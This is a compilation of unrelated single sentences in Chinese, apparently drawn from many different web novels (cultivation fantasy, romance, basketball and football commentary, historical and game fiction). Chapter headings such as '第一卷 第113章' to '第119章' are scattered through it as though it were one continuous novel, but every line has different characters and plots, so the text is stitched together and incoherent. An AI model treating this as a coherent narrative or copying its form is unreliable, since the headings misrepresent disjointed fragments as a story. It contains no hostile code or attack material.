虽然不是很明白,为什么不从一开始,就直接攻击蛇妖的本体,但是陈勃相信,她这样要求一定是有目的的。
灵柩法师久居元觉洞闭关参禅,也无心关注修行道的琐事,却是不知潮阳涧卫腾龙是何许人也。不过见他姓卫,又有元神的修为,当即也口宣曼陀罗尼,合掌回了一礼。
明荣望着眼前的美人,只觉的胸口猛烈的震动,一时之间竟不知该如何开口。
“你能确定并保证,不会再出现这样的事?”陈鱼也知道自己僵持下去,也不会有什么结果的,毕竟以刘王氏谋害朱青的罪名肯定不会成功的,到时候刘王氏就更嚣张了,她只是想吓唬她一下而已,所以适时的松了口。
千影的突然咆哮声,吓得众人一大跳,而且那她的语气上看非常的生气,而且还直接叫出安迪的名字。
只是想不到杜彬也在阳台上,他手里拿着一杯酒,看到有人进来的时候有点错愕,待看到是我,笑了笑。
她正要转身去拿水,手腕突然被握住,回头看到千默已经睁开了眼睛,此刻惊喜的看着自己。
虽然在谢半鬼使出来的“猛龙旋身”,远没有达到铁手李聚气成甲的程度,甚至还有些似是而非的感觉。却实实在在的挡开了他暗器,同时也让他羞怒难当。
老天,明明我比他大,为什么我在他面前,有种无所遁形的感觉呢?
“也好!”老钱等人展开身法远远的掉在了青衣身后,大概走了将近一个时辰,才看见青衣钻进了一处山壁的裂缝当中。
血河虽然无边无际,但是每一个阿修罗战士重塑一回肉身,都要消耗一丝血河之力,积少成多之下,就连血河祖师也不禁心惊。
飞龙大厦八楼是精品服饰专柜,里面出售的衣服价格都在千元以上。
柯丽就要躲避,但根本没躲开,反而被莫游掐住了脖子,摁在了墙上。哪怕力量被压制,作为第七空间的试练者,莫游在战斗技巧上也远超普通人。
当白羽开口之后,所有人都直接疯狂的向着后面飞去,而白羽则是如一堵墙一般,为众人挡住了一切风暴。
闻言,殷红玲似是赌气般重重点点头,随后立即跟上,四处打量部落里的一切,嘴角不住扬起笑意,只是那笑意未曾到达眼底,更给人一种心疼的感觉。
不过宫野志保的反抗却直接惹火了组织,直接让琴酒把她监禁了起来,如果不继续配合实验,那么就只能在这个毒气室里处理掉了。
韩国队员这个时候已经懵了,从来没见过这么凶的裁判,完全不让人说话。
布伦特福德队抓住对手的盯人漏洞,在下半场又下两城,最后以3比0迎来了球队的14连胜。
但是呢,因为76人没有合格的替补控卫,所以每次打替补的时候,伊戈达拉都必须上去控场,不然的话就要完蛋了。
商浩然拼命摇头,急得额头上汗珠直流,他挥舞着手,但是江如眉等人,所理解的意思,完全和他的意思相反。
基德很高兴,刚才那一球JR出手很稳,所以基德断定他是进步了,而不是瞎蒙进去的。
“哗啦”一声,陆丰收直接穿破屋顶,出现在空中,随即便直直向着陆丰青的方向飞来。
这一找,立刻找到了两条又细又长的红色头发,在海中随着暗浪一浮一沉。
可就在这个时候,身边的几个陌生人吵了起来,吵得很激烈,不知不觉间已经围了很多人,大都是看热闹的,没有想上去劝阻。
蜃气妖完,周围的景色陡然一变,古城消失了,弥漫在空的蜃气也消失了,周围只剩下一片黄沙,一弯新月。
“好。”原本楚浩还想施展雷系魔法为唐笑笑分担一些压力的,既然唐笑笑这么说了,楚浩直接将自己的雷系魔法掐灭。
校园论坛上甚至已经对着七人进行投票,谁也没想到,唐笑笑这匹黑马,仅觉醒不到一年的时间竟然能够走到这一步。
“王的后代,我记得你,这次进煞渊又遇到什么麻烦事了。”一个妩媚的声音传来,正是九幽后。
可是现在她早已经不是那个她了,可为什么他还依旧要坚持做呢?
“好了好了!到时间了!收卷!把手放到桌子下面!”监考老师说完,雷厉风行的开始把卷子叠起来。
麦芽摸了摸她的头,虽然不明白那个男生心里在想些什么,但是还是要安慰眼前的室友王儿,只是希望她能够将情绪平复一些,毕竟有些感觉是任何人都替代不了的。
贺素娥一愣,“什么时候的事?跟心心的那个朋友?”她知道窦薇儿是叶倾心的好朋友,也知道窦薇儿不得沈梦喜欢。
就在鼬不知道该怎么回答宇智波美琴的时候,灭世的声音响了起来。
第一卷 第113章 圈套
六耳斩出自我尸,洪荒举世皆惊,洪荒大能不少,圣人也有七位,但能够斩出自我尸的却只有冥河一人,如今六耳借通臂猿猴本源斩出自我尸,一身气息再度提升,隐约有证道迹象,但不知何故,却被六耳生生压制下来。
叶叔心想你要是这样干的话,以后还不知道有多少七大姑八大姨,学这过来这样干呢。
“杨狂蛟,给老子滚出来!”可就在杨志峰将烟放到嘴唇,一声暴喝生滚滚而来。杨志峰先是一愣,但紧跟着满脸的阴沉。
面店老板收了银两,正准备找钱,可一眨眼的功夫,他惊讶发现,刚才还在店中的那位好看的姑娘已经不见了踪迹。
陈铮心中一动,盘膝闭目,调动阴神,一缕神识探向千年寒玉髓。突然,极寒极冻的气息沿着神识直接逆冲识海。陈铮猛地打了一个寒颤,浑身的血『液』被冰冻,就连念头都被封冻,思维停止。
“杨少,求求你救救虎哥,救救虎哥吧!”鼻青脸肿的苍苍,赤着脚慌慌张张的跑来,硕大的双峰颤颤巍巍,如果不知道底细的,还以为是刚刚被非礼过。
就连他们入住京华别院,遭到其他势力的敌视,在这背后,也有乌夜王的黑手,在阴影之下拨动着一切。
“工作是生活,生活也是工作,你给我柔软,我给你满足!”秦冥不给她说话的机会,低头就吻了上去,霎时间,餐馆之内春光灿烂。
普罗索乌斯被绑在桅杆上,周围士兵的异样目光让他并不在意,他也不在乎军法的惩处,但是他的眼圈还是红了,他低着头,竭力不让眼泪掉下来,因为此刻,他想起了自己的母亲。
此时此刻,半空之中,一个身着纯白衣袍的男子凌空而立,怀中横抱着的娇躯,正是金灵儿。
大长公主自不会逃到荥阳城里乖乖束手就擒,想要阻止她落在司马敛手里,最好的办法便是先找到司马敛。
我总有料中坏事的本事。虽然虞衍口口声声说不会连累我,但该来的还是会来。
在整耳欲聋的音乐和高浓度酒精的刺激之下,当两人出来的时候,都已经微醺。
青玄这两日倒是过得好,外面翻天覆地,公子将他找来的时候,他仍睡眼惺忪。听了公子的吩咐,他不敢怠慢,即刻拿着信走了出去。
过了许久之后长孙无忌声音缓缓响起,说起来他也算是老师门下的得意高徒了。
看出对方不开心,郭客也不多问,举起筷子就准备招呼她用菜,这才发觉桌上只有一碗麻汁蘸料。
李柏天不知道的是,1922年的埃及,虽然名义上是独立的,但事实上,它所有的一切,都掌管在当时的日不落帝国大英的掌心里。
由于托利弗是一个打法偏外线的矮个内线,所以今天亨森派出的首发四号位是易建联。
而窦红的话早年的话便让家族之中许配给了河东柳氏一支脉的子弟。
我爱你时,你才那麼闪耀;我不爱你时,你什麼都不是。这句话不但适用於爱情,也适用於人生。
“看来,这里就是他们的目的的了,只是不知道,到底是什么人,要把他们抓到这里?刚才看到了那么多的登陆器,如果里面都坐满了人,那该是多少人?抓这么多的人到这里,是要干什么?”楚扬有些迷惑地说道。
更关键的是,身后那位大前辈辉星xi,貌似正在与Sunny通话,并且到了最后的环节,将他的注意力不由自主地吸引了过去。
但是迁都事件没有继续的闹腾下去,不论是吉恩国王还是雷克斯,都认为这是最好的结果。
尽管现在他已经退伍,郝浩已经不是他的长,但是此刻郝浩是乐神号的最高军事指挥,从这层意思上来说,郝浩依然是他的长,所以他这一声“长”称呼得没错。
挥舞着手中的重剑,砍死了面前的食尸鬼,雷克斯露出可惜的神色,这一位不上当,就差一点就被勾引动了,最后却缩回去了,自己的嘲讽等级还是不足。
Sunny仰卧在本属于秀英的床铺上,枕着枕头,抱着抱枕,脑袋冲着天花板的方向,一动不动地回答道。
要知道复活英雄,不论是这一位英雄他到底的死去了多久,他到底的成为了什么模样,只要是英雄,他复活就需要大量的材料。
“熄灭了,难道最强神器也不能够净化掉太阳之井,太阳之井就只能够是被摧毁的命运,”温蕾萨沉重的说道。
对于普通的人类而言,哪怕是再珍贵的宝物,刚入手的时候的喜悦和爱护,都肯定要远远高于已经习惯这件宝物属于自己的时候。
元斗皇拳的高手差不多都已经成为了孟凡海的心腹,他们都很清楚,孟浩然在孟凡海心中的地位有多高,自然不敢冒险了。
“怎么了?是不是又他妈给老子惹事了?”大飞在自己的酒吧里,一边摇晃着杯子里的特级威士忌,一边庆幸幸好自己没有选择和祁峰为敌,那家伙实在是太恐怖了,恐怖到只要想想就觉得害怕。
就在这个时候,张一鸣忽然停下了脚步,因为他看到了空中一个黑影闪过,一只通体漆黑的乌鸦飞过,在他的头顶不断的盘旋着,一双锐利的眼睛死死的盯着他。
他们穷极一生,只是想加入天尊府,甚至来到此地拜祭一下前人。
就在此时,一道狂风忽然灌进了屋内,紧接着,一道身影缓缓出现在了众人的眼中。
短短的时间之内,受困的江湖人好似是破堤的洪水一般,纷纷逃匿而出。
可是像这样被朱大强压在身下,情况就不同了,不但液态金属不能够再次聚合,加上那几百斤的重量,让他们两个呼吸都变得极为困难。
第一卷 第114章 反转
“那你为什么要把这件事推到付京笙身上?”穆劲琛攥紧了双拳,狠狠问道。
“现在好了,既然毒已经没有了,我们就可以安心找出口了。”这次真是多亏了银子。
蒋熙睿的脚步在门口停了下,居然还有这样的事?他怎么不知道?
反正所有人都在享受美食的时候,可怜的奔雷却在冷风中飞扬,偏偏自己还不知道什么原因。
付京笙目光冷冽地望向屏幕,这是他做事的规矩,对方的资料、关系网都得仔仔细细提供给他,而他呢,谁都不知道付京笙其实是一个幕后的策划者。
否则,那也没有三界之分了!在人界,一块精品灵石的重要性,若是放在那些元婴期,或者是隐藏多年不出世的化神期老怪物面前。这巨大的价值作用,我们就不说远的,就说云鹤宗。
杨烈眼神蓦地死死锁定了云晟子,体内的三道阵法齐齐鼓动,调集了海量的能量喷涌而动。
此时山谷中的冰蓝光芒已经消失,留下的只是熊熊火海,和谷中到处都是跳动的火光。
然而红莲还没将自己的疑惑问出口,她们二人的身后就传来一个极为年纪却也极为淡漠的声音。
朱燕琳的系统512明显不像622那样活泼且有性格,它的语气一板一眼,几乎不带有任何感情,像个冰冷的机器人。
萧云霄也不藏私,大大方方承认自己是在洋县那边学的手艺,后来又改良了,这才能做出这样的白血。
桌上多出空空如也的一盘一碗,连龙井虾仁残存的茶汤都被喝得干净。
在一处不起眼的土岗处,几十只影子不住地穿梭着,九儿猛然奔了过去,在阴气笼罩的中央,一口石棺斜卧在地上。
做完这一切后,他将袋子卷了起来,塞进口袋,像来时那样悄悄的移动到门边。
当年许泽天和妻子空难去世,年仅二十六岁的许悦自然而然的成为了许家全部资产的唯一继承人。
就在她坐正了身子准备发动车子的时候,目光不经意的扫了容以一眼。
该醒来了,九儿叨叨:这么一场大梦,其实是任娰公主拜王母为师前的往世而已。
马上就要中午营业了,还得忙完才能处理各种问询和祝福,也是有些忙碌的。
尚语彤说道,俞浩楠作为宗门长老,说话还是很有分量的,不然也不会让他来主持宗门内比了。
就好像考试一样,真正决定成绩的,往往都不是在考试当天,除非一些突发偶然的状况,否则成绩如何,都取决于之前所做的功课。
正在这时候,对面突然出一阵震天的吼声,然后那三百骑兵,在一个痴肥而巨大的挥舞着两把铁锤的将军带领下,突然疯一般朝着自己的这面冲了过来,那气势就如同九天崩坏,黄河决堤,远远的杀气便扑面而来。
纵使以后那孩子不姓关,甚至永远不会知道他有一个脸上有青胎记的父亲,但关老青总算留下了一条血脉,或许这条血脉真的是靠关氏母子的死而留存下来的。
高桥烈火听了军事的话,气的面色通红,他有些愤怒,从他进入山口组,经历过各种混乱的战斗,但从未像今日这么委屈过,即便是被人用架在脖子上,也未曾让此刻的高桥烈火感觉这么窝火和憋屈。
而铁铮,再一次收起雷月,专心以肉身与异界生灵对决,不断体悟力量和金坚规则,期冀早日达成自己的目标。
天心军团电视台,正在现场直播着天心军团三方盟军会合的盛况。
宋乾面色沉重,盘坐他身旁的雪珂面色煞白,但他却帮不上任何忙了,自己的推演之力远不及雪珂,此刻又能如何?
影墨蝶这次没有马上离开,而是盯着尚景星,确切的说是他身上的衣服。
“难道前辈您不是那黑天老祖,名震上古的无上强者么!”钟族老怪试探性地问道。
结束了和林永恒的通话,见那头有从肉搏发展到肉搏口水兼容并济的趋势,感觉有些吵,提着电话跑到怡红院大门外头,压在背人的角落拨打了熙然的电话。
蔚有些茫然用手指扣扣耳朵,确认不是自己的问题后,反而更添几分疑惑。
“少夫人!你回来了!”沈园的管家钱叔在看到姜柒后,惊喜唤道。
“绝对没有!都是听我秦哥说得!”曲霄云脑袋摇得跟拨浪鼓似的,回答的很机智,成功把锅甩走。
但他竟然会觉得徐贤不知道,此刻一想,崔贤镇忽然觉得他才是真的蠢。而徐贤能让他产生这种误解,恰恰就证明了徐贤绝不会像他想得那么单纯。
“裴何浔,你是笨蛋吗?”温湳洺停下自己的步伐,抽回自己的手,于心不忍地看着转过身来的男人。
否则,凭她贵妃之位,哪怕没有管理后宫的权利,也不至于被一个十公主险些害死。
电视剧开播后,收视率还行,首播收视率就超过了25%。因为是预定50集的周末剧,拍摄紧张,所以作为主演之一,IU现在大多数时间都是待在片场。
“嗷!”他是敢怒不敢言,占了人家口头上的便宜,还能不允许别人发泄发泄了?没有的事儿。
他想把这事拖下去,拖到边关战事完结,也许会发生什么意外的事把这事拖垮。
“还好!比你忙一点。”田淮拽拽地坐在黄叶的位置上,让她无处可坐,那痞痞的样子真的十分欠揍。
不仅如此皮肤还变得非常光滑,一些痘痘疤痕也比之前淡了很多。
随着汽车带起的灰尘,草茎完成了历史使命,跌落在地上,瞬间枯萎下来。
第一卷 第115章 醒来
谢威又朝陆卿尘身后的帐子里瞧了瞧,忧心道:“殿下,锦婳现下如何了?可稳住了?”
转天就是腊月二十九,宫里宫外都为着即将到来的三十和初一坐着最后的准备。
慕容翔织说完以后。很是潇洒的离开了。离开前他看着赫连逸那恨不得将自己吃了的表情。然后他回敬了赫连逸一个意味不明的笑意。
她好像发现很熟悉的气息朝着这里赶來,是幻觉吗?他不是回九界了吗?是他吗?
虽然齐晦说大不了他们走,可祖宅地底下那么多黄金,不能轻易拱手让人,湘湘还算计着将来世道清明时,好好把这些黄金用来强国防、济民生,搬走不现实,走了庞浅悠也有法子再来追,他们理不亏心不虚凭什么躲着过?
雪白的世界里增添了一抹红色,让人赏心悦目,可在某些人的眼里,是那么的刺眼。
可皇帝只是冷笑,猛地撒开了手把静姝往后一推,幽幽撂下一声“贱人”,便扬长而去。
慕茵点点头,没言语,抬头见简风正看着自己,还是没好气地瞪了一眼。
董卓在任命高顺作为守关大将后,便与李儒商量,只留下三万老弱残兵帮助高顺镇守关隘外,其余数万精锐都被董卓带走。高顺接手虎牢关关防后,一点也不敢马虎,连忙召集守军登城防守,迎击诸侯联军的进攻。
予祁走后。我便远远地望着婧宸,一直到午夜子时。我本想,若是她想不开的话,本神君便即刻现身去阻止,后来发现她卧在地上一动不动,并非寻死觅活的形容,我晓得她不会做什么,便失魂落魄回到了司命府。
“既然如此,掌柜的,把这里的药材都给我包下,送到太子府。”耶律齐打手一挥,这下好了药材铺都不用开了。
达到目的后,凯撒走下演讲台,向外走去,完全无视了那些若有所思的贵族议员。
刀锋等人微微一愣,随后脸色顿时沉重下来,仿佛想到了什么不好的东西。
经过了长途的奔走,沿途经过五六个城市,又穿越了一片蛮荒之地后,他们再次处在一座大山里面。这是一个千里无人烟的地带。天上也没有翔飞号的交通航道,比封印着九尾三头斑的那片森林还要荒凉。
“姐姐,我真的没事。一会就过去了。”花碧蕊已经习惯了忍耐这种磨人的痛苦,勉强挤出了一缕疲惫的笑容。
无数的二品仙门,三品仙门还在前边等着成为一品仙门呢,区区四品仙门成为一品仙门的机会几乎等同于做梦。
“洛菲,你做什么?”斯沃特脸上仍旧挂着喜色,感受到猎狐者从背后抓住自己,便扭头望着她,疑惑不解的开口询问。
皇帝的话落,林总管赶紧上前,示意身后的人赶紧动手。也不知道他们从哪里找来的工具,果真朝着那墙上砸去,说来也巧,也不知道是谁无意触动了机关,那暗门就这般打开,所有人的目光朝着里面望去。
枪:凶器也!但不可否认的是,枪同样是让男人热血沸腾的东西,就算枪支监管在严厉的国家,也会有一些枪械的爱好者们,偷偷的‘私’藏一些。
第一卷 第116章 解药
“去将丞相大人给我请来这里,就说本官有要事相商。”海凝雪吩咐完之后,摆摆手让他速去速回。
噢噢噢~~~犯规~~~这已经是马竞开场五分钟的第三次犯规”李逸不想在关键时刻因为一场联赛让球员们受伤,可马竞主教练却不怎么想。
在原界,无线通信的专业里,没有“距离“这个技术参数,因为能影响无线信号传播距离的因素实在太多。
比赛的时候,如果手指摆放的方位不一样,在台下看着都会觉得很不舒服。
形势紧迫,虽然心中还有无数个疑问,但现在并不是最好的讨论时机。今晚这么一搞,我们和当地的黎族人算是不死不休了,当即也是丢掉了一部分不必要的物品,狼狈地闯进了后山。
谢霜霜从他身边经过时,忍不住担忧的看了他一眼,再转头,看向自己父亲以及姑姑的视线里带了非常明显的厌恶。
不得不说这个亡灵法师的算计非常的可怕,或者说塞伯他们从一开始就落入了亡灵法师的陷阱之中,无论是从突然袭击的变异村民还是从后山杀下来的亡灵军团,再或者是从村前围剿过来的骨龙。
这条路是双车道,陈芸开得很慢,没理由会发生两次剐蹭,莫不是真有什么东西跟在后面,随着汽车一块跑?
但是刘阿姨昏睡的时间越来越长,终于在一天夜里,沐星看到她的眼神开始失去了光彩,身体也在慢慢的变得有些凉了。
“陈老最近加派了保镖,要不然今日恐怕真的要挂了。”柳初妍一脸凝重的说道。
不过他此时的表情的确是有些莫名其妙,不是心虚,而是特别尴尬的那一种意味。
江山邑在一旁看着今天的报纸,恍惚间能听见江琦的打呼噜的声。
叶冥也是一脚将血殇踹开,此时的魔卡分割两地的时间也是已经结束,血殇也是飞到了空中说道:“有机会咱们一定会再会的,喝哈哈哈!”说完便消失在了夜空里。
“停停停!”这丫头,真是认真,问她做过什么,她还真把自己做过的所有的事情都一一地说说一遍。
“他就是想把此事推到百里怒云身上,然后向我们发难!”真旗喊。
唐利川抬头往前看,日光下,前面的一片石山显得白花花一片。但翻过那片石锋就能见到一片起伏不定的农田,而在农田的那头就是梅州。
不同于其他那些众星云集的传统电影节,金酸梅奖的颁奖现场要冷清很多,在现场的也大多是毒舌电影人。
端木歇看到哪到消息被撤回后看着自己单身数十年的手速截下的图流下欣然的泪水。
时间就在董卓闭关后的三个月左右的时间,北邙山,一直靠鬼域地界僵持着西凉军的北邙山鬼王在面对西凉军无计可施的玄门弟子的挑拨下终于亲自出鬼域动手了。
许三郎见自家婆娘执意如此,只好应道,“唯唯。你多煮点,我带些去给过来帮忙的汉子。”。
云晨抱着名易风在圣地之内四处找寻墨风和墨映菡的下落,走着走着,忽见前面一队人马狂飙而来,为首的正是易非凡和皇甫定国。
“娘,我答应你,总有一天,我会站在天域的顶点,然后去尊界,找到父亲,亲自问他。”凌楚汐也一脸郑重的说道。
熊霸刚要点头,立马就意识到不对,赶忙改口,只是在刑宇眼中却是亡羊补牢,欲盖弥彰罢了。
他也确实是觉得,他现在的实力,估计是真的可以跟轮回至尊的存在一战才是的。
这提升的幅度是极可怕的,所以让秦萧都难以去估量自己现在的实力有多强。
只不过,在开拔前夕,故意落在队尾的马岱似乎隐隐约约听到吕布跟贾诩的一番对话。
“秦萧,谢谢你来救我,救命之恩,我伏茏无以回报,唯有铭在心了。”伏茏宫主感激的道。
“如今该这么称呼你?直接叫恶尸的话,好像也不大好了,毕竟我已经对你们放手了,就不该再追回来。”赤神帝丝毫不在意对方窥视的说道。
苏屏原本想问李靖延对她道法的意见,却没想到,这男人竟说了他对自己的看法。
“怎么能好!都不好。洪老爷真打算收提综织机?”张行首更加纳闷了。
面对这种情况,木村宏自然是不会强行要求她来演出了,他可不是那种大男子主义爆棚的家伙,要妻子做什么就做什么,主要是看她的意愿。
想要避免被副本中的野怪围殴致死,要么提高自己的坦度,要么就减少被围殴的几率。
首先必推“夕阳红”歌手周杰伦,前段时间,老粉还时不时给他打榜做数据,刷点可怜的存在感。
丁一感觉这个挺值钱的,但因为他的心思都用在锻造和寻宝上了,对市场了解的不多,并不能准确的判断这个药方的价值。
夏冉熙看着孟辰的侧脸,那喝水时的喉结一上一下,带着天然的男性魅力。
不过最后结果还是飞虎队完胜,只有一架日本战斗机惊惧之下脱离战场,其他五架日本零式战斗机全都被击落了下来。
但也不是所有的媒体都在和木村宏作对,木村宏之前也接收了一些大媒体的采访,和它们的关系相处的还算不错,这些大媒体对木村宏倒是没有太大的恶意,反而很对他很友善。
“这件事其实我们都不在行,我举得专业的事情得交给专业的人来做。”李海洋想了想后,摸了摸下巴,提出了自己的意见。
秦明粗略一看这门功法,便知道这门功法的品质比开山拳法之流的要高太多了。
似乎是回应云清风的话语,空气中突然荡起一阵涟漪,林雨的身形也随之出现在了离颜夕只有一尺之处,眉头微皱的望向挡在二人中间的手帕,随后二话不说的向面前的手帕轰去。
第一卷 第117章 姐姐
他的身体是尸妖一族的身体,修炼的功法又是橙色的顶级功法,身体素质强大到可以和和生化人的那种全部不是人的身体相比,甚至还有些地方远远超过生化人。
如此慷慨赴死的一句话,听到陆珏耳中心中十分沉重,他十分感激抱拳真心诚意道:“我陆珏代我妻谢过各位。”身子一曲弯身九十度,官于属下这可是大礼。
所以她能够像是一个真正的行尸那样操控这些血液,已经是很不容易的事情了,根本就多余的精力,去管其他的事情。
他杀进来是为了灭杀敌军的指挥官,现在没有秒成,还深入到了敌军的坦克阵里,再不撤退就是找死了。
苏牵月看呆了,终于明白为什么撞到他胸口时跟撞到了一块儿铁似的。
好不容易建起的防线,差不多一瞬间就没了,洞穴人的士气降到了底。
“咦!好像与我们公司研究的量子科技有些相近!这个我们可是有的。”汪占利有些不屑起来,超神公司在量子领域,可是很在行的,特别是纳米可编程药丸,纳米机器人盔甲,可都是走在时代最顶端的。
但当他刚准备抬起头来,对那人发火的时候,却发现对方身上穿的竟然是国家议会的外派议员才能够穿的衣服时,他吓得脸都白了。
【明,在你们后方与左前方,有大量的军队集结。】尔希在刘明脑海中提醒道。
通神境:窥得天地之秘,悟得天地之力,翻手之间,山倾海啸,上青冥可摘星,下深海可擒龙。
毕竟周宇就站在他的面前,他就算是想要抱着侥幸心理,那也是没用的了。
宝塔竟然有三十六层之多,在第一层的塔内雷蛇游动,第二层之上空空如也。
只是没想到的是,黑袍人费尽了心机,却为他人做了嫁衣。反倒是绿依无心插柳,得了这天大的好处。
“虽然你是邪神宗的人,但我现在不想杀你。”庄白收剑入鞘,缓步向金宁儿走去。
可谁知道原本安静着的西九条可怜布偶竟然一下子跳起来,四肢软趴趴地趴在了北川寺的肩边。
从表面来看的话,他们家筑基十名,稳压其余三大家族一头,不过谁也不知道另外三家是否还有其余隐藏的高手。
两只鸡腾空一跃,落到她们头顶,轻轻的啄了一下她们眉心,一条血丝被吸了出来,随即不到两息的功夫,荷花姐妹瞬间变成一具枯骨,风一吹,变成红色粉末,洒落了一地。
大鸿回家经过九龙镇,不料撞见韩树均,他衣衫破旧,拄着竹拐棍一歪一扭。
韩允在张丰的房间里面收拾了一下化了化妆,精神抖擞的走了出来。
只要拿下三大传媒公司,空空传媒就可以照常拍摄洛神传,三大影视传媒更可以给洛神传的拍摄,提供巨大的帮助。
所以秦时面对她们,就仿佛见到了曾经的自己,童雪能摆脱先天之毒的折磨,秦时心情自然也是大好。
蒋若烟身上穿着的超大码白衬衣已经被湿漉漉的头发打湿了,脖子朝下的细腻的肌肤,若影若现。
“因为本就都属于我的东西……凭什么给你?”慕梦妍抹着眼泪。
“你上次说的产品香味的问题,我改良了一下,希望你喜欢。”陆明洲从西裤的口袋之中拿出了一个四角袋袋想给慕初暖。
在城头上稍微修养了些时间后,秦时三人便下了城头,前往这城主府换取修炼资源,此刻眼见竟是有四名元婴境后期的修士朝自己三人走来,罗索自己并不认识,遂问了秦时一声。
而且,这次“打劫”还引出了四位封号斗罗的争斗,他们究竟是什么来头?
大意就是他如果真答应把节目改到他们电视台去录制,那他在京城这边的支出全部由他负责。
至于这个赵局长会不会听话,那压根就不在考虑范围之内,以他们的手段,加上现今的科学技术,哪怕意志力再强的人,也都有办法让其开口。
只见灵霄烛幽被夏承凛如臂御使,儒门诸般剑法武学信手捏来,招式切换接续如行云流水,辅以春秋圣卷进行统合,一看便是在平日里下了苦功。
不是所有的人都是可以随意任你伤害后而不需要你付出任何代价的。
咱们跑去尹家救我爸妈,是个危险的事情,她们知道了,肯定要跟着一起去的,但是以她们的身手来说,帮不上什么忙不说,还会徒惹她们担心。
陈欧阳也知道自己的亲人肯定不是他跟骆熙风的阻碍的,可是看到母亲这么的理解自己还是红着眼睛笑了。
罗夏扛着维琪护着芭芭拉向大厅入口突破,一通扫射,在多重射击下,他们前方的道路再也没有一个站立的黑袍教徒。
“二百万两!”林无双嘴角一扬,得意的看着西门追雪。此时的他似乎已经看到了西门追雪气急败坏的样子,脸上的笑意越来越浓。
第一卷 第118章 锦书
他们想过李阳的反应,恼怒,羞愧,不忿?无论李阳和他们撕破脸,还是隐忍,他们都有办法去解决,因为芒果已经在他们的控制下,几乎被蚕食了。
即便如此,“无名”的大名,现如今也早已经在银河星盟无人不知,知道这是一位深不可测连种族都不能确定的恐怖存在。
至于其余的男修士,此时一个个被抬手之间屠杀掉,根本没有任何的反抗之力。
只是看向云邀月的目光,充满一缕占有的欲望,但也有一缕掩不去的愤怒。
“额杰,辛苦你了!”坐在中央位置,身着白色僧袍,头上却披散着长发的中年人微微颔首道。
按照他纵横情场的经验,这个叫包尼爽的家伙,怕是十有八九是个骗财骗色的渣男。
可是吴三桂的骑兵依然是受到很大的影响。他们的马速很慢,完全借不上马力。而且他们避让同伴之后,来不及反应就被李岩的骑兵用手铳打下马去了。
魏前还在继续诉苦和抱怨,莫凡心里犹在震惊着呢,秦豪终于受不了了,突然打断了魏前,接连问了莫凡好几个问题。
周围之人议论纷纷,特别是那些长老,他们了解的内幕要比之常人多的多,所以,他们更加的难以相信这是真的。
哪怕是站在千米的高空上,都能感受到四周扑面而来的阴寒气息,也只有在这种阴寒地域,鬼物才敢肆无忌惮的在外生活。
童恩心里一热。从开始在道森实习起,杰瑞就像一把稳固的梯子,一步一步地载着自己往上走,她从不担心会掉下去,因为她知道,有一双大手时刻都在身后保护着她。
“回家去好好睡一觉,你放心,你朋友不会有事的。”高浩天沉声打断了她。
杨宁说的话并不难理解,是人都有欲望,这个欲望就是心里的魔鬼,一直都是醒着的,与活着的人共存,除非死了,否则永远也不可能摆脱得了。
站在她们座位旁边的男人不是别人,正是她们刚刚说过的花心大萝卜,季思明。
赢叁看着眼前这些“老弱残兵”,哑然失笑,这还是第一次见到机器人也有这般惨淡光景的时候。
就在他怔楞的刹那,一个倒在地上的死士,拿起地上的刀,直对着云君的后背猛地扎过去。
几分钟的路程,像走了一个世纪那么长,当钟岳把童恩轻轻地放在医务室的床上时,双臂间的空虚使他又觉得刚才的路怎么那么短。
后半夜因见了李明阳,李明德心事重重,仰面躺在床上许久才昏昏沉睡了去。
我手里的筷子一顿。又继续吃起來。他的生活与我无关。就像我的爱情与他无关一样。
心中想法倒不是很复杂,但回忆起廖雄和徐李钦的离开,再想到如今又出现这样的情况,王修总有一种被掐着的感觉。
“娘娘,天还没亮,您再躺下睡一会吧。”李元扶着云潇躺下来,自己倚着床坐在地上。
段锦容的话是如此地大逆不道,似乎是因为胜利在望的原因,让段锦容完全沒有再伪装自己的心思了,甚至将压抑在心中二十多年的疯狂也毫不掩饰地展现了出來。
夜遥摇了摇头,她告诉我她曾经几次试图混进王府,但因为守备实在太过森严,为了不打草惊蛇,她只能先回來,然后再另做打算。
这个药粉从本质上而言是属于很鸡肋的那种,在大多情况之下都是没有什么用处,可是它还特别矫情,换个形态就不干活了。
“别说话,过来。”赵国栋拖着狗娃躲进了草丛里,“等着,马上就有人过来了。不要说话。”狗娃也就安静的蹲在那里看看到底有什么东西过来。
我越來越后悔自己爱上了萧梓凌。越來越后悔自己对他注入了太多的感情。倘若不然。我也绝不会沦落到现在这个地步。
“高木队长,果然英明,属下佩服。”杨县长不露痕迹拍了一记马屁。
省亲之行预计两个月。朝中不可一日无主。皇上斟酌选出三位辅臣。分别是云风瑾。司徒风。秦国栋。出宫期间由三人共同监理国政。
最后,叶泠泠将“幽香千里兰”连同着根部的一大团泥土挖了出来。
不对,即使此时如此安逸,黎擎也不得不考虑到,一个绝不会在世外桃源出现的危险因素——暗鬼。。。
这时听到消息的主治医生也来了,苏曼倩忙把萧博翰的情况给医生说了一下,主治医生很兴奋,说萧博翰这样的情况能苏醒过来,也是很少见的。
第一卷 第119章 虚惊
慕容泽坐在太子殿内把玩着玉珠,神情自若。果然,不一会儿一名侍卫跑了进来道:“太子殿下,一切均已准备妥当!”
每当想起这事,两人就没法在仙界修炼,对吴凡的恨意可谓是越来越深重。
唐紫寒冰冷的目光没有掀起半点波澜,提剑一斩直接斩断那冲击波。
“什么意思!”苏易登时反应了过来,而后看着此刻正在不同的挣扎着的洋火,心中一呆,一股不好的预感突然涌向了他的心头。
“了解!”杨冲点头,虽然有很多都不懂,不过这句话还是能理解。
“你不喝的话,我就喝咯。”阿维一抬头,菲莉斯蒂正坐在铁笼子的旁边,她背靠着铁栏,大口大口地喝着那袋清水,旁若无人。
王永刚在后,被刀光冲击波震退,整个身子倒飞。在其后的众妖兽二话不说,将倒飞过来的王永刚立即撕裂,分吃干净。
毕竟,未来她们被上贡上去后,狮虎联盟的强者要摸她们的耳朵,她们总不能躲吧,这可是会惹恼狮虎联盟的强者的。
接近尾声的白依二人,慢慢停了手,白零贴心地顺势递上了纸巾。白依接过却没有擦手,只将唐刀粗粗擦一遍,收回了刀鞘。二人转头看到了扔在那里僵持的一人一尸。
另外一边伊露丽与暴怒之罪信徒的战斗也随之落下帷幕,伊露丽用燃烧着神焰的战斧,直接刺穿冲来的暴怒之罪信徒,随后,猛的挥动战斧将其处决。
不用说,董若兰在情窦初开的年纪,就对凌啸情根深种,难以自拔了。
“你们还是别走了,都留在这儿吧。”一个声音从天台的门那里传来,几人定睛望去,只见两个身影正站在那里,冷冷的看向了几人。
